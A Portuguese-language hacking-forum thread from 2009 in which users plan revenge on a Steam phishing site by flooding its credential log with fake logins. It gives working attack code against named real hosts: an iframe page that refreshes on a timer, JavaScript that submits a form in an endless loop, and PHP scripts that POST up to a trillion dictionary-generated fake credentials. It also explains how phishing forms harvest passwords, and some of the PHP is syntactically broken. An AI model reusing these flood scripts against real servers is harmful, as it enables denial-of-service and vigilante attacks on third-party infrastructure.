Flood no phishing - O troco

Started by gpN, 04 de May , 2009, 11:42:15 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

gpN

Vocês devem conhecer a técnica denominada "phishing". Consiste em criar um site falso para adquirir conta de usuários leigos ou distraídos.

O site falso é uma cópia idêntica do original, com a leve modificação de que o parâmetro ACTION do formulário de login aponta para um script muito simples, que geralmente apenas loga as informações num arquivo de texto.

Pois bem. Nada disso deve ser novidade. Se é, sugiro que pesquise mais sobre o assunto.

Agora a idéia. Eu jogo CS, e me mandaram um link para uma página falsa da steam. O link era:

http://valvesteamcommunitycup.rg3.net/

Esta é uma cópia idêntica do site da Steam Community, https://steamcommunity.com/

Se vc olhar o código fonte, vai ver que o domínio rg3.net aponta para o endereço real do site falso:

http://valvesteamcommunity.justfree.com/

Agora Olha o source. Você vai ver que o form de login falso tem o action apontando pro "envia.php". Esse script vai pegar as variáveis  steamAccountName e steamPassword e vai logar num txt, que tá em algum lugar na conta "valvesteamcommunity" no justfree.

Pois bem. A idéia aqui é foder com os criadores do phishing. Como fazer isso?

Enchendo o TXT deles de merda. Mas muita merda.

Aqui tão duas idéias que eu tive:




1. Iframes

Essa aqui consiste no seguinte: quando é acionado o submit num form HTML, as variáveis são enviadas num request pro servidor. Você consegue o mesmo resultado se fizer: http://www.endereço.com.br/scriptdoaction.php?variavel1=valor1&variavel2=valor2

Pois bem... Eu quero encher o arquivo deles com "MEXEU COM O CARA ERRADO". Um jeito de fazer isso é criando um HTML com iframes que apontam para o endereço http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMOCARAERRADO

E fazer com que os iframes sejam carregados muitas (infinitas) vezes.

você pode usar javascript ou mesmo a meta tag do tipo refresh. Tá aqui o código pronto:


<html>
<head><title>O troco</title>
<meta http-equiv="refresh" content="3">
</head>

<body>

<iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

   <iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

   <iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

<p>

<iframe height="20%" width="20%"

src="http://www.valvesteamcommunitycup.rg3.net/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCO

MOCARAERRADO"></iframe>

   <iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

   <iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

<p>

<iframe height="20%" width="20%"

src="http://www.valvesteamcommunitycup.rg3.net/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCO

MOCARAERRADO"></iframe>

   <iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

   <iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

<p>

<iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>

  <iframe height="20%" width="20%"

src="http://www.valvesteamcommunitycup.rg3.net/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCO

MOCARAERRADO"></iframe>

    <iframe height="20%" width="20%"

src="http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMO

CARAERRADO"></iframe>   

</body>
</html>


Se temos 12 iframes e digamos que o HTML leve 3 segundos pra carregar todos + 3 de delay da tag meta refresh, isso dá uma média de 14400 linhas de merda escritas por hora no arquivo txt.
O segundo método supera essa dificuldade:



2. Form redirecionado

Esse método é menos rústico. O que a gente faz é criar um html com um form nosso, com os mesmos parâmetros do form do site de phishing, e apontando, ao invés de "envia.php", para "http://valvesteamcommunity.justfree.com/envia.php". Depois disso, é só usar javascript pra fazer o form ser enviado muitas vezes. O código segue abaixo:


<html>
<head><title>O troco</title>
</head>
<body>
<form id="loginForm" name="loginForm" method="post" action="http://valvesteamcommunity.justfree.com/envia.php" enctype="multipart/form-data">

    <input type="hidden" value="doLogin" name="action" />  <input type="hidden" value="" name="goto" />  Steam Username: <input type="text" size="30" disabled="true" value="MEXEUCOMOCARAERRADO" id="steamAccountName" name="steamAccountName" class="textField" /><br />
    Password:  <input type="password" size="30" disabled="true" value="MEXEUCOMOCARAERRADO" autocomplete="off" id="steamPassword" name="steamPassword" class="textField" /><br />
    <p> 

<script>
<!--Script language="JavaScript"-->
while(1){ document.forms[0].submit(); }

</script>
</form>
</body>
</html>


O script "envia.php" manda o usuário pro site original da steam depois de logar as infos. Mas o script dá os submits tão rápido que nem dá tempo de ser redirecionado. Então o arquivo fica mandando infinitos requests.

Só tem 1 problema. O script consome muita memória, e o browser acaba travando uma hora. Eu acho que vou por uma meta refresh, pra dar uma pausa pro browser parar de dar submit e o sistema se recuperar. eu tentei usar window.setTimeout e window.setInterval mas não funciona, por algum motivo.




Aqui tão os exemplos implementados:

Método 1: http://gh0st.justfree.com
Método 2: http://gh0st.justfree.com/a.htm


O site de phishing é real, e foi mandado pra mim na tentativa de hackear minha conta. Eu criei a conta "gh0st" no próprio justfree.

Eu pensei também em usar includes de PHP, e fazer o seguinte:



<?php
while(1){ 
include 
'http://valvesteamcommunity.justfree.com/envia.php?steamAccountName=MEXEUCOMOCARAERRADO&steamPassword=MEXEUCOMOCARAERRADO';

usleep(200000);
}
?>







Se alguém tiver mais idéias, compartilha aí.

GreeN

Se pode fazer um script no php pra ler um arquivo com um dicionário de palavras e ficar enviando pra lá.
no usuário você coloca um item do dicionário e na senha você coloca algo aleatório, assim você dificulta o cara de separar logins reais de logins falsos...

se você só mandar "MEXEUCOMOCARAERRADO" ele facilmente irá limpar o arquivo disso...

o formulário é enviado via método POST não necessariamente irá funcionar se você enviar os parâmetros via método GET...

Magrinho Loko

Use a Classe Snoopy para realizar o envio de dados falsos via POST. Um for resolverá o problema dos múltiplos envios, e seguindo a dica do Green, pegue uma lista randômica e utilize ela para forjar logins. É mais prático do que usar o método que você citou.
Saudades do antigo Darkers.

gpN

Brigado por responder.

Eu entendo que os iframes talvez nao funcionem já que o método é post. Eu preciso testar com um PHP meu.

Mas eu não entendi como um for vai ajudar no javascript do form redirecionado. Eu até usei uma função sleep que causa delay de X milissegundos entre cada submit do form, mas o browser simplesmente congela quando ele ve um for() infinito.

Magrinho Loko

Quote from: gpN on 05 de May , 2009, 09:53:47 AM
Brigado por responder.

Eu entendo que os iframes talvez nao funcionem já que o método é post. Eu preciso testar com um PHP meu.

Mas eu não entendi como um for vai ajudar no javascript do form redirecionado. Eu até usei uma função sleep que causa delay de X milissegundos entre cada submit do form, mas o browser simplesmente congela quando ele ve um for() infinito.

Vou dar um exemplo simples. Assumindo que você esteja usando a Classe Snoopy.


<?php

include("Snoopy.class.php");

$Snoopy = new Snoopy();

error_reporting(E_ERROR E_WARNING E_PARSE);
set_time_limit(0); //Uma das mágicas acontece aqui.

//Fazemos nosso voodoo aqui para enviar e floodar a fake page do cara
function enviarDados($login,$pwd){

global 
$Snoopy;

$fake_vars['steamAccountName'] = "".$login."";
$fake_vars['steamPassword'] = "".$pwd."";

$Snoopy->submit("http://valvesteamcommunity.justfree.com/envia.php",$fake_vars);

}

//Trazemos a função enviarDados e aplicamos o login/pwd fake
//Repare no $i<=1000000000000. Enviaremos 1000000000000 dados falsos para o cara.
for($i=0;$i<=1000000000000;$i++){

//Insira aqui uma função para puxar dados de um dicionário de palavras.

$login getDicionário();
$pwd getDicionário();

enviarDados($login,$pwd);

}

?>




E pronto, o cara vai ficar sem entender oq ocorreu.
Saudades do antigo Darkers.

gpN

Entendi!

Achei q tinham dito pra usar um for() no javascript!

Valeu.

rickzudo

HUahAUHAUHAH olha o que eu acho buscando o nome do meu site no google! --' PQP q mlk tosco... Dexo meu txt com 1 mega. Ai eu fui no ftp e coloquei delete xD PQP mexi com o cara errado em --' Dps q eu pego as senhas o txt n serve pra mais nada noob.